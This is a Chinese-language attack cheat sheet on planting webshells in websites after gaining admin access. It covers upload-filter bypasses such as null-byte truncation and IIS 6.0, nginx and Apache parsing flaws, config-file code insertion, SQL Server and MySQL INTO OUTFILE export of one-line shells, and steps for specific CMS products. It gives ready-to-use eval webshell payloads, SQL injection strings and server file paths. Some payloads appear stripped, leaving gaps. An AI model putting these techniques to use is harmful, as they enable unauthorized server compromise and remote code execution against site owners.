需要有管理员权限才可以拿shell
如织梦cms
网站对上传的文件后缀进行过滤,不允许上传脚本类型文件如asp/php/jsp/aspx等
但是网站具有备份数据库备份功能,这时我们可以将webshell格式先将改为可允许上传的文件格式如jpg gif等
然后,我们找到上传后的文件路径,通过数据库备份,将文件备份为脚本格式
如动力文章
阉割版cms
filepath漏洞主要用来突破服务器自动命名规则,主要有以下两种利用方式:
1、改变文件上传后路径(filepath),可以结合目录解析漏洞,路径/x.asp/
2、直接改变文件名称(都是在filepath下进行修改),路径/x.asp;.
00截断的两种利用方式:
1、更改filename,xx.php .jpg,在burpsuit中将空格对应的hex 20改为00
2、更改filename,xx.php%00.jpg,在burpsuit中将%00进行右键转换-url-urldecoder
phpweb拿shell方式利用iis6.0文件名分号解析,%00截断
有的网站,在网站上传类型中限制了上传脚本类型文件,我们可以去添加上传文件类型如添加asp|php|jsp|aspx|asa来拿webshell
iis6.0解析漏洞主要有以下三种:
1. 目录解析漏洞 /xx.asp/xx.jpg
在网站下创建文件夹名字为.asp、.asa的文件夹,其目录内的任何扩展名的文件都被iis当做asp文件来解析并执行。因此只要攻击者可以通过该漏洞直接上传图片马,并且可以不需要改后缀名!
2. 文件解析 xx.asp;.jpg
在iis6.0下,分号后面的不被解析,所以xx.asp;.jpg被解析为asp脚本得以执行。
3. 文件类型解析 asa/cer/cdx
iis6.0 默认的可执行文件除了asp还包含这三种asa、cer、cdx。
在默认Fast-CGI开启状况下上传名字为xx.jpg,内容为:');?>
然后访问xx.jpg/.php,在这个目录下就会生成一句话木马shell.php。
nginx如下版本:0.5., 0.6., 0.7 <= 0.7.65, 0.8 <= 0.8.37在使用PHP-FastCGI执行php的时候,URL里面在遇到%00空字节时与FastCGI处理不一致,导致可以在图片中嵌入PHP代码然后通过访问xxx.jpg%00.php来执行其中的代码。
另一种Nginx文件漏洞是从左到右进行解析,既可绕过对后缀名的限制,又可上传木马文件,因此可以上传XXX.jpg.php(可能是运气,也可能是代码本身问题,但在其他都不能成功的条件下可以试试)。如下:Content-Disposition: form-data; name="userfiles"; filename="XXX.jpg.php"
Apache对文件的解析主要是从右到左开始判断并进行解析,如果判断为不能解析的类型,则继续向左进行解析,如xx.php.wer.xxxxx将被解析为PHP类型。
常见的编辑器有fckeditor,ewebeditor,cheditor等
fck,ckfinder 一般可以通过改上传目录,利用解析漏洞拿webshell
通过找到网站默认配置,将一句话插入到网站配置中,不过为了能够成功执行插马,建议先下载该网站源码,进行查看源码过滤规则,以防插马失败。
"%><%eval request("aaa")%><%'
"%><%eval(Request(chr(112)))%><%' 密码为p 这里用单引号是因为asp脚本文件中,单引号代表注释,后面的不执行
通过对网站的模板进行编辑写入一句话,然后生成脚本文件拿shell
通过将木马添加到压缩文件,把名字改成网站模板类型,上传到网站服务器,拿webshell
一些网站为了增加某些功能会在后台添加一些插件来实现
我们可以把木马添加到安装的插件中上传服务器拿webshell
常见的有博客类网站,dz论坛都可以
我们可以通过数据库执行命令导出一句话到网站根目录拿webshell
access数据库导出一般需要利用解析漏洞xx.asp;xml
sqlserver 导出
;exec%20sp_makewebtask%20%20%27c:\inetpub\wwwroot\ms\x1.asp%27,%27<%execute(request("cmd"))%>%27%27%27--
mysql命令导出shell
create table study (cmd text NOT NULL);
insert INTO study (cmd)values('');
select cmd from study into outfile'F:/phpstudy/WWW/DVWA-master/aaaa.php';
Drop TABLE IF EXISTS study;
版本二
use mysql;
create table x(packet text) type=MYISam;
insert into x (packet) values('
")select x into outfile 'd:\php\xx.php'
版本三
select ''into outfile 'c:/inetpub/wwwroot/mysql.php/1.php'
进入phpmyadmin
假如知道网站路径
直接执行sql语句导入一句话拿shell
方法:
create table study (cmd text NOT NULL); //创建一个表名为study ,添加一个列名为cmd 类型为text 不允许为空
insert INTO study (cmd)values(''); 往列cmd中插入数据 ,这里插入的是一句话
select cmd from study into outfile'F:/phpstudy/WWW/DVWA-master/aaaa.php'; //将cmd列中的内容导入到网站根目录下
Drop TABLE IF EXISTS study; //删除这个表
假如不知道路径
我们可以推理路径
看PHPmyadmin 中变量推理出路径
路径为 F:/phpstudy/Apache/conf/httpd.conf
则我们可以创建一个表
create table a(a text); 创建一个表为a 列为a 类型为text;
阅读我们推理出文件的内容写入到该表中
load data infile"F:/phpstudy/Apache/conf/httpd.conf" into table a; //写入表中存在编码问题始终没解决,希望有人懂得可以分享一下
SELECT LOAD_FILE( "f:/phpstudy/apache/conf/httpd.conf" );
linux下
知道/usr/local/mysql
推测/usr/local/apache/conf/httpd.conf
/usr/local/httpd/conf/httpd.conf
/etc/httpd/conf/httpd.conf
nginx
/usr/local/nginx/conf/nginx.conf
phpmyadmin
写入大文件到表,让其报错
报错时候会把当前脚本根路径爆出来
先将webshell改为txt文件上传,然后上传一个脚本文件包含该txt文件,可绕过waf拿webshell
asp包含
1.
2.调用的文件必须和被调用的文件在同一目录,否则找不到
3.如果不在同一目录,用下面的语句
php包含
include('123.jpg');
?>
echo ^<^?php @eval($_POST['123']);?^>^> c:\1.php
echo ^<^?php @eval($_POST['123']);?^>^> c:\1.php
^<^%eval request("123")%^>^> c:\1.php
1.良精拿shell方式
2.科讯cms
上传后缀名为aaspsp
3.动易cms
4.aspcms
5.dz
配置插马
6.米拓cms
导入导出数据库 前提条件,必须有数据库备份功能和权限大
7.帝国cms
命名成这个的原因,导入之后它会自己解压,然后就成了aa.php成功执行脚本,
内容为
fputs(fopen('shell.php','w'),'');
?>
然后我们让它执行一个函数
成功执行,此时菜刀也能连接上
8.phpcms
第一种方式
登上后台 :点击界面-》模板风格-》点击目录进行辩解
低版本可以,高版本不行
第二种方式
点击phpsso->ucenter配置
配置插马
第三种 phpv9低权限拿shell
点击内容-》专题 添加专题
9.dedecms
织梦可以直接上传,数据刻苦备份,等